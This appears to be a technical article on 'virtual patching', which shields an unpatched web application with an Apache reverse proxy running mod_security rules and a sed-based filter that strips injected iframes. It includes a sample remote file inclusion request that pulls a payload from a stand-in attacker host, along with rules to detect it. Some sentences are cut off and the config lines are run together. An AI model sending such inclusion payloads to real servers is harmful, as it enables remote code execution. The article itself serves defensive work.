The dreaded patching treadmill

In today's IT shops, patching systems to mitigate security vulnerabilities is a regular ongoing activity, frau

For example, let's say you have a critical production system that must be patched due to a security prob

So, what are you going to do? Typically, you are left with few options. You can play the time game where you hope to get it patched in time (see figure 1). You could convince yourself that the risk is not that great and simply leave the patch out of the system. Moreover, you might also try limiting access to the vulnerable system, or employ a combination of these methods. In any situation where you cannot patch a vulnerability, you are merely left to accept the risk hoping that you calculated correctly and that you can come up with some set of compensating controls to mitigate the issue

With Virtual Patching, you can avoid this problem entirely and you can do it quickly, cheaply, safely and without having to patch any system or being forced to choose between options. Virtu al patching, unlike traditional patching, allows you to patch your application, without touching the

application, its libraries, operating system or even the system its running on. In technical terms, Virtual Patching is a method of fixing a problem by altering or eliminating a vulnerability by controlling either the inputs to that application through an external application, shim, proxy or virtual server. Typica
lly this is accomplished by some type of proxy in front of or “around” your application or in some cases, by changing the runtime code of the application. The safer option is to use the former, as opposed to the later. The later method is certainly just as viable, but in that case you are changing the application itself, which can present other risks. The safest, and an equally effect method, is to encapsulate the application and to control the inputs into or outputs from the application to prevent or eliminate aberrant behavior. You basically offload the entire issue to something external to your system and with less moving parts, therefore reducing both your operational and security risk.

How to do it

The most common way to implement virtual patching is to place a proxy or in-line packet manipulator between the application and the source of its inputs and outputs. There are other means of implementing virtual patching, such as real time code manipulation and application wrappers, but this article will focus on proxies as they are simpler to implement, and in many ca ses are just as effective as other methods.

Let's start with an example: say you had a Web Application server with a vulnerability. Per our problem case, we are not able to patch the server to mitigate this vulnerability at this time, but would still like to eliminate this vulnerability. We stand up a copy of apache on another system, configure it to be a reverse proxy for all the traffic destined to and from our web application server and install in this reverse proxy a special apache module named “mod_security.” The mod_security apache module is specifically designed to allow you to create virtual patches. If your web application server is running apache, you could also install the mod_security module into your web application server, but as this article focuses on the case of not changing your current system. Instead, we shall focus exclusively on the example of using an entirely external and independent system to act as the virtual patching proxy.

Now, here is a little background on mod_security. This module acts as a regular expression engine, a sort of grep for apache, that looks for patterns in web traffic and reacts to those patterns as you have configured it. It has a powerful set of data transforming capabilities, whereby it can look into data streams encoded in formats other than text, such as Unicode, hexadecimal and others used to ensure that you can properly work with the traffic. For example, attackers will often encode an attack to attempt to evade IDS' and mod_security can be

configured to decode these so that it can detect attacks.

Once we have our virtual patching proxy setup, we can move on to creating the virtual patch. The first step with mod_security is to configure its basic behavior, such as what actions to take when the virtual patch is triggered, what to log and how to work with the data flowing in and out of the module. Thankfully, the process of configuring the module is simple and you can leverage the default configuration settings published on either the official www.modsecurity.org website, or on third party websites such as Prometheus Global's IA lab www.gotroot.com .

Now, here is a specific example of a virtual patch. Your application server has a web application “webmail.asp”, and it is vulnerable to a remote code inclusion attack through the variable “username.” To create the virtual patch, we need to know either what the attack or what normal and non-harmful payloads look like for this of the application. In this example, let's say the attack looks like this:

```
GET /webmail.asp?username=http://attackersite.com/malware_payload.asp
```

And normal traffic looks like this:

```
GET /webmail.asp?username=rmailer
```

We can now write our virtual patch. Let's start with the attack payload by writing a simple two line virtual patch. It would look like this:

```
#Attack Payload Virtual Patch for webmail.asp and vulnerable username variable  SecRule REQUEST_URI “^/webmail.asp$” chain  SecRule ARGS:username “http://” “deny,log”
```

Now, let's break this patch down. The first directive “SecRule” tells mod_security that this is a rule, the second directive defines where to look in the data stream. In this case, the module has been configured to only look at the Request URI. The third directive is the actual regular expression to look for. In this example, we are looking for “webmail.asp” and are using regular expression anchors (^ and $) to constrain the regular expression to just “webmail.asp” and not something like “/another/webmail.aspen.is.a.nice.place.to.ski/another/application.asp.” It's important to define your virtual patches in a constrained manner to reduce false positives. Moving on, the forth directive tells mod_security what to do once it finds this regular expression.

In our example, we tell mod_security to “chain.” This instructs it to combine two or more rules together, and only if all of those cases are found will it do anything.

Which brings us to the final line of our virtual patch, which acts in the same way as the first. Mod_security is instructed via the SecRule line that this is a rule, and the data stream should be analyzed based on the proceeding rules. The second element contains two parts, ARGS and username. The first part tells the engine to look for arguments in the payload and the second part tells it what argument to search for. And just like the first SecRule line, the third element defines the regular expression to search for “http://.” If it finds that pattern in the variable username, then mod_security moves onto the fourth element, which is the action element. Here we have it configured to both block and log the attack, but there are other actions it can take such as redirecting the web traffic to some other URL.

As mentioned previously, the virtual patch can also be constructed based only on the known safe behavior for the application. This is helpful in those cases when you do not know anything about how the actual attack works, such as when vendors are reluctant to discuss the specific nature of the attack. Once again, using the example of the webmail.asp application, if we know that the username variable contains only letters, we can write a virtual patch that will also prevent this attack by denying the attacker the ability to insert anything into the variable such as the : or / characters.

```
  #Trusted Virtual Patch for webmail.asp and vulnerable username variable  SecRule
REQUEST_URI “^/webmail.asp$” chain  SecRule ARGS:username “!^[a-z]+$” “deny,log”
```

This patch works exactly like the attack payload patch, the only difference is on the second line where we define the known trusted behavior for the application which is only lowercase letters. This time, we look for the “not” case. Specifically, we tell the engine to look for anything that is not a letter from a-z, which would include our attack payload because it includes the characters : and /, but there could be some unknown future vulnerable that uses some other character. Perhaps there is a SQL injection vulnerability in the application that can be triggered with a quote, or an unescaped parenthesis. The advantage of a patch that defines the known and trusted behavior of the application can not be understated. This is the best possible rule, although this is also the more difficult of the two types to construct and the most prone to false positives.

As you can see, writing virtual patches for web applications is very easy to do and if it's not already obvious, neither of the previous virtual patching examples are mutually exclusive. You can use virtual patches that both define attacks while simultaneously using rules that define trusted behavior. I recommend you do both, as its always wise to have security in layers and

with regular expressions it's sometimes difficult to make sure you have your patches constructed perfectly. If you can cover both cases, you are less likely to have a False Negative.

In the previous example, the virtual patches were designed to respond to the inputs from the attacker or user. Sometimes an input virtual patch will not do the job, and you need to react to what your application is delivering to the user, and then take action.

With output patching, a system may be prevented from exposing sensitive information, for example, such as health data or PII. Think of output virtual patches as an in line redaction system. The first step with any type of output patching is to define what an acceptable response is, such as: is it acceptable to drop the connection, or should we redact it and deliver only the acceptable content.

Redaction differs from the simpler “drop the connection” IPS based approach where we just block the entire outbound session. Both methods are effective at stopping the flow of sensitive information, but have differing levels of effectiveness and some collateral effects. Blocking an entire outgoing session is absolutely more effective at stopping the outflow of sensitive data, but it can also create an availability attack on the application and may tip off an attacker that their activities have been detected. Redaction can be stealthy and allow the user or attacker to continue to use the application without access to sensitive data, but may not be as effective at stopping access to sensitive data. We will finish with a simple virtual patch that drops the connection by using the previous “webmail.asp” example. This time, we are concerned with the output we should see from a successful attack, which can either be the known output of the attack itself. Or in the inverse case, anything we shouldn't see from trusted behavior. Let's say the response of a successful attack returns “ c:/ ” where our attacker has successfully injected code into our application giving them a shell on our Windows webmail server. We can construct a virtual patch in one line that would block this case:

```
SecRule OUTPUT “ c:/ ” “deny,log,phase:4”
```

With mod_security output rules, you will notice the addition of a phase directive. This tells the engine when to look for data, and phase 4 is output data.

But what if we just want to remove something sensitive, or something dangerous from the data we return to the user. Redaction is at times necessary when it is critical that an application never be stopping from sending data – but merely that the data be “scrubbed” to prevent exposure of either sensitive data, or to prevent the facilitation of a multi-stage attack such as

serving up malware to a user. We recently dealt with one such case, when a large news site had been penetrated and their server was sending back iframes to an attackers website. It was not possible to clean up the server and remove the source of the iframes, however the iframes had to be removed from the data stream being sent back to their users. In this case, blocking the iframe connections would have blocked all content from their website to their users, effectively shutting them down and handing the attackers a denial of service victory, so only redaction would work for them.

Lately attackers have started using the tactic of breaking into popular websites and planting an iframe linking to a third-party site hosting their malware. Upon visiting the popular website, the victim would have their browser silently redirected in the background to download and execute the malware from the third party site (not from the news website). This attack works quite well, as even the most paranoid user typically trusts at least some sites they trust. Output redaction works great with a web server to remove these types of iframes, rendering the effect of the attackers actions inert – and leaving the attackers wondering if they managed to break into the site at all.

To construct an output virtual patch to silently scrub output, we need to use another tool and we will use another apache module designed to work with output and relatively easy to work with for simple cases: mod_ext_filter. This module allows you to invoke an external application to stream the data flow through, and back to apache, using stdin and stdout. Heres a quick example:

First you configure mod_ext_filter to work with your data, and to call the “sed” stream editor application. You simply add this to your apache configuration, either as an external configuration file or to your main apache config file:

```
LoadModule ext_filter_module modules/mod_ext_filter.so <IfModule mod_ext_filter.c>
ExtFilterDefine remove-bad-iframes mode=output intype=text/html cmd="/bin/sed -rf
/etc/http/conf.d/remove-bad-iframes.txt" </IfModule> <Location /> SetOutputFilter
remove-bad-iframes # Add this if you want logging that it ran # ExtFilterOptions
DebugLevel=1 LogStderr </Location>
```

This sets up the engine to start redacting HTML content, and not to look at or redact anything else. We do this to limit load on the system and because we are only interested in the HTML content, which is where the iframes are. Next, we define the content to look for, and the actions to take:

```
/iframe/ {  s/<iframe>.*</iframe>//gi  b alldone  }  b alldone  :
alldone
```

This simple and crude sed script looks for all iframes in the HTML content and removes them, and for brevity's sake there is no effort to look for evasion attempts, such as extra spaces in the markup, more complex examples are available at www.gotroot.com .

Eat your cake and have it too

With virtual patching you can protect your applications without having to patch them. Virtual patching is faster than installing the patch, doesn't require you be able to program in the applications language, and it leaves you in control of your patch cycle without sacrificing security, In addition, it gives you long term advantages over just patching such as defining and constraining the behavior of your applications and controlling the output of our applications. With virtual patching, you can also support discontinued applications by writing your own patches, and you can include your security staff's expertise in your patching activities without having to touch your production systems or taking anything down. Now, you really can eat your cake and have it too.